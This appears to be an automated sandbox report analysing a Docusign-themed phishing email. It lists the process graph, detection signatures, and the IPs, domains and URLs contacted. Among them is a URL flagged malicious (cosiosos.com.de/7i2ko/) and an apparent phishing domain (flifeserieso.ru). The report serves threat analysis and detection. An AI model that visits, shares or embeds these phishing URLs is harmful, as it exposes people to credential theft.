behaviorgraph top1 signatures2 2 Behavior Graph ID: 1545547 Sample: Complete with Docusign_ Rem... Startdate: 30/10/2024 Architecture: WINDOWS Score: 68 34 Yara detected HtmlPhish70 2->34 36 Suspicious MSG / EML detected (based on various text indicators) 2->36 38 Phishing site or detected (based on various text indicators) 2->38 40 3 other signatures 2->40 7 OUTLOOK.EXE 98 119 2->7         started        process3 file4 18 C:\...\~Outlook Data File - NoEmail.pst.tmp, data 7->18 dropped 20 C:\Users\...\Outlook Data File - NoEmail.pst, Microsoft 7->20 dropped 22 C:\Users\user\AppData\Roaming\...22oEmail.srs, Composite 7->22 dropped 10 chrome.exe 9 7->10         started        13 ai.exe 7->13         started        process5 dnsIp6 24 192.168.2.16, 138, 443, 49377 unknown unknown 10->24 26 239.255.255.250 unknown Reserved 10->26 15 chrome.exe 10->15         started        process7 dnsIp8 28 api.mixpanel.com 107.178.240.159, 443, 49737, 49738 GOOGLEUS United States 15->28 30 www.google.com 142.250.186.164, 443, 49732, 49907 GOOGLEUS United States 15->30 32 15 other IPs or domains 15->32
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
104.18.66.57
 cdn.optimizely.com United States
13335 CLOUDFLARENETUS false
104.21.28.165
 cosiosos.com.de United States
13335 CLOUDFLARENETUS false
104.18.94.41
 unknown United States
13335 CLOUDFLARENETUS false
44.239.225.250
 unknown United States
16509 AMAZON-02US false
107.178.240.159
 api.mixpanel.com United States
15169 GOOGLEUS false
35.190.80.1
 a.nel.cloudflare.com United States
15169 GOOGLEUS false
104.17.24.14
 cdnjs.cloudflare.com United States
13335 CLOUDFLARENETUS false
104.18.65.57
 unknown United States
13335 CLOUDFLARENETUS false
52.42.45.237
 arya-1323461286.us-west-2.elb.amazonaws.com United States
16509 AMAZON-02US false
104.18.95.41
 challenges.cloudflare.com United States
13335 CLOUDFLARENETUS false
35.190.25.25
 unknown United States
15169 GOOGLEUS false
239.255.255.250
 unknown Reserved
unknown unknown false
142.250.186.164
 www.google.com United States
15169 GOOGLEUS false
104.21.17.93
 flifeserieso.ru United States
13335 CLOUDFLARENETUS false

Private

IP
192.168.2.16

Contacted Domains

Name IP Active
bg.microsoft.map.fastly.net 199.232.210.172 true
cdn.optimizely.com 104.18.66.57 true
a.nel.cloudflare.com 35.190.80.1 true
cosiosos.com.de 104.21.28.165 true
cdnjs.cloudflare.com 104.17.24.14 true
challenges.cloudflare.com 104.18.95.41 true
www.google.com 142.250.186.164 true
api.mixpanel.com 107.178.240.159 true
flifeserieso.ru 104.21.17.93 true
arya-1323461286.us-west-2.elb.amazonaws.com 52.42.45.237 true
cdn.jsdelivr.net unknown unknown
na4.docusign.net unknown unknown
a.docusign.com unknown unknown
docucdn-a.akamaihd.net unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8daca25f6a033ab9&lang=auto false
    		unknown
    https://flifeserieso.ru// false
      		unknown
      https://cosiosos.com.de/7i2ko/ true
        		unknown
        https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8daca25f6a033ab9/1730304197174/07f7aaa5969baaa40a857825e8b1c2599f2cd729566798306c53c51f8a6113d5/JiPuQio3d7laoB9 false
          		unknown
          https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/webfonts/fa-brands-400.woff2 false
            		unknown
            https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css false
            • URL Reputation: safe
            		 unknown
            https://na4.docusign.net/Signing/?ti=049c81426da24951a14c1de4df20f331 false
              		unknown
              https://challenges.cloudflare.com/turnstile/v0/g/f2bbd6738e15/api.js false
                		unknown
                https://a.docusign.com/ds_arya_wrapper.min.js?f=1 false
                  		unknown
                  https://cosiosos.com.de/favicon.ico false
                    		unknown
                    https://challenges.cloudflare.com/turnstile/v0/api.js false
                      		unknown
                      https://a.nel.cloudflare.com/report/v4?s=MkouCdERZZpiD%2BMpUTd8csWNNyAd86pTJGInWpclFvct9PdKN1S%2BK2movndx3HcgVBLuHQRPbs8aASb%2FBI%2FV9gQFG1zUzCBRrIF%2Fb7x46b84YJeSvvA7trghEacm36LMtaM%3D false
                        		unknown
                        https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/lgrcx/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/ false
                          		unknown
                          https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/1949912508:1730302839:6E6Pv0gXY2yq3TxC6jtiBY6FhM93W7pcTOciG49SbVM/8daca25f6a033ab9/mSxS4QLFfX1KduKA8IVUdCMT6yk3.DZUtG8sRCXn800-1730304194-1.1.1.1-tLrtY0KPfLrVeUbAZQo5IZkOR0jvrGXSYd7PP0lxxogrjtFGGvybnkXgMlSUe35b false
                            		unknown
                            https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/webfonts/fa-solid-900.woff2 false
                              		unknown
                              https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1 false
                                		unknown
                                https://cdn.optimizely.com/datafiles/MUGKFLCdCtxUSgrSTyhbw.json false
                                  		unknown
                                  https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js false
                                  • URL Reputation: safe
                                  		 unknown
                                  https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8daca25f6a033ab9/1730304197167/gRrNLvrrXazQrWD false
                                    		unknown